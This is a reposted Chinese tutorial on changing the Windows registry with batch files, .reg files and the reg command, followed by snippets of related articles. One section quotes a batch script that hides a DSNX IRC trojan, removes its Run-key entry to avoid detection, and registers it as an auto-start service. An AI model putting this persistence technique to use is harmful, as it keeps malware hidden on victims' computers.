【转】批处理修改注册表

一,批处理生成.Reg文件操作注册表 
  用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可! 
  这里,着重要了解.reg文件操作注册表的方法。 
  首先.reg文件首行必须是:Windows Registry Editor Version 5.00。然后才是操作注册表的内容。 
  (就和从注册表中导出的文件格式一致)

  1,创建子项

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

  

  在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“TTT”的子项。

  2,创建一个项目名称

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"Name"="TTT BLOG"
"EMail"="[email protected]"
"URL"="http://www.taoyoyo.net/ttt/"
"Type"=dword:02 

  这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type这四个项目 
  Name、Email、URL的类型是“String Value” 
  Type的类型是“DWORD Value”

  (附:windows注册表值类型: 
  REG_SZ 字符串值 
  REG_BINARY 二进制值 
  REG_DWORD DWORD值 
  REG_MULTI_SZ 多字符串值 
  REG_EXPAND_SZ 可扩充字符串值)

  3,修改键值 
  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。

  4,删除项目名称

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"EMail"=

    执行该脚本,"EMail"就被删除了;

  5,删除子项

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
[HKEY_LOCAL_MACHINE\SOFTWARE\DDD]

    执行该脚本,子项ttt和ddd就已经被删除了。

  6,.reg文件执行方法 
  1)直接执行reg文件 
  2)regedit /s *.reg (/s不用确认) 
  3)reg import *.reg

  7,其实,我们也可以用dll文件代替reg文件。

  批处理例1:

@echo off
echo Windows Registry Editor Version 5.00 >t1.reg
echo.
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg
echo "Name"="TTT BLOG" >>t1.reg
echo "EMail"="[email protected]" >>t1.reg
echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg
echo "Type"=dword:02 >>t1.reg
regedit /s t1.reg
del /q t1.reg
pause

  

  批处理2:(这个例子是别人的,不是很懂的说~~) 
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例 (名为windrv32.exe)

@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

  

  二,reg命令操作注册表

  Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助……

REG Operation [参数列表] 
Operation [ QUERY | ADD | DELETE | COPY | 
SAVE | LOAD | UNLOAD | RESTORE | 
COMPARE | EXPORT | IMPORT ]

  1,查询所有子项和值 
   

D:\>reg query hklm\software\TTT
! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\software\TTT
Name REG_SZ TTT BLOG
EMail REG_SZ [email protected]
URL REG_SZ http://www.taoyoyo.net/ttt/
Type REG_DWORD 0x2

    2,查询特定项 

 

D:\>reg query hklm\software\ttt /v url
! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\software\ttt
url REG_SZ http://www.taoyoyo.net/ttt/

    这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。 

  原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:DOS循环-bat/批处理for命令详解之二) 
  例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本: 

@ECHO OFF
for /f "tokens=1,2,3,4,*" %%i in (‘reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"‘) do SET "pURL=%%k"
echo TTT BLOG的URL值为:%pURL%

  

  保存为Test.bat,运行结果如下:

D:\>test.bat
TTT BLOG的URL值为:http://www.taoyoyo.net/ttt/

  原文出自:http://www.jb51.net/article/30077.htm

时间: 2024-08-04 12:05:39

【转】批处理修改注册表的相关文章

修改注册表~使自启动

[转自互联网] 1 #include <windows.h> 2 #include <stdio.h> 3 #pragma comment(lib,"Advapi32.lib") 4 void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data) 5 { 6 HKEY hKey; 7 //打开注册表键,不存在则创建它 8 long lRet=RegCreateKeyEx(hRo

修改注册表

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Jet/4.0/Engines/Jet4.0] 将MaxLocksPerFile键值改为自己设置的值(如:9999999). 代码实现: function TfrmExport.EditRegister: Boolean; var pReg: TRegistry; sRegKey, sRegItem, sValue: string; iValue, iNew: Integer; begin Result := Fals

修改注册表来修改IE的设置---资料汇总

转载:http://blog.csdn.net/wangqiulin123456/article/details/17068649 1. 添加删除受信任站点: /HKEY_CURRENT_USER/SoftWare/Microsoft/Windows/CurrentVersion/Internet  Settings/ZoneMap/Ranges下有一个信任站点就有一个RangeN(N为1,2,3...)的记录 2. Internet自定义级别的修改: /HKEY_CURRENT_USER/So

C#综合揭秘——通过修改注册表建立Windows自定义协议

引言 本文主要介绍注册表的概念与其相关根项的功能,以及浏览器如何通过连接调用自定义协议并与客户端进行数据通信.文中讲及如何通过C#程序.手动修改.安装项目等不同方式对注册表进行修改.其中通过安装项目对注册表进行修改的情况最为常见,在一般的应用程序中都会涉及.当中最为实用的例子将介绍如何通过"安装项目"修改注册表建立自定义协议,在页面通过ajax方式发送路径请求,并在回调函数中调用自定义协议.最后一节还将介绍如何调用自定义协议去保持数据的保密性.希望本篇文章能对各位的学习研究有所帮助,当

通过修改注册表,阻止win10开机后自动打开msn中文网

有些Win10用户会遇到开机后自动打开浏览器访问MSN中文网的问题,可以通过修改注册表来解决这一问题 1. 打开注册表(Win+R,输入regedit) 2. 依次进入如下注册表项目录 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet 3. 修改注册表项EnableActiveProbing,值为0即可 好记性不如烂笔头,留在自己博客里,万一以后重装系统又遇到这个问题了,就可以很容易的解

通过修改注册表来破解sqlyog

Sqlyog作为一款可视化的数据库管理工具,各种方便我就不说了,但是未经汉化或者绿色过的软件存在30天的生命期,到期后我们就不可以使用了,要摸卸载重装,我们还可以去修改注册表,来延长它的生命期,具体步骤如下: (1)                           开始-运行-regedit ,进入注册表,在 \HEYK_CURRENT_USER\Software\{FCE28CE8-D8CE-4637-9BC7-93E4C0D407FA}(后面这个东西每个电脑可能不太一样,但是我们仍然可以

windows dos 修改注册表

U盘被写保护了,然后需要修改注册表,解决办法这个不一定是最好的,仅仅是为了能让dos能够做处理,记录一下: rem delete firstREG DELETE HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies /frem then add to regeditREG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDev

【转】C#综合揭秘——通过修改注册表建立Windows自定义协议

引言 本文主要介绍注册表的概念与其相关根项的功能,以及浏览器如何通过连接调用自定义协议并与客户端进行数据通信.文中讲及如何通过C#程序.手动修改.安装项目等不同方式对注册表进行修改.其中通过安装项目对注册表进行修改的情况最为常见,在一般的应用程序中都会涉及.当中最为实用的例子将介绍如何通过"安装项目"修改注册表建立自定义协议,在页面通过ajax方式发送路径请求,并在回调函数中调用自定义协议.最后一节还将介绍如何调用自定义协议去保持数据的保密性.希望本篇文章能对各位的学习研究有所帮助,当

C# .NET修改注册表

c#修改注册表,需要引用Microsoft.Win32命名空间 using Microsoft.Win32; //声明 ///引用 RegistryKey reg; reg = Registry.ClassesRoot; 以下从‘读’‘写’‘删除’‘判断’四个事例实现对注册表的简单操作 1.读取指定名称的注册表的值 private string GetRegistData(string name) {    string registData;    RegistryKey hkml = Reg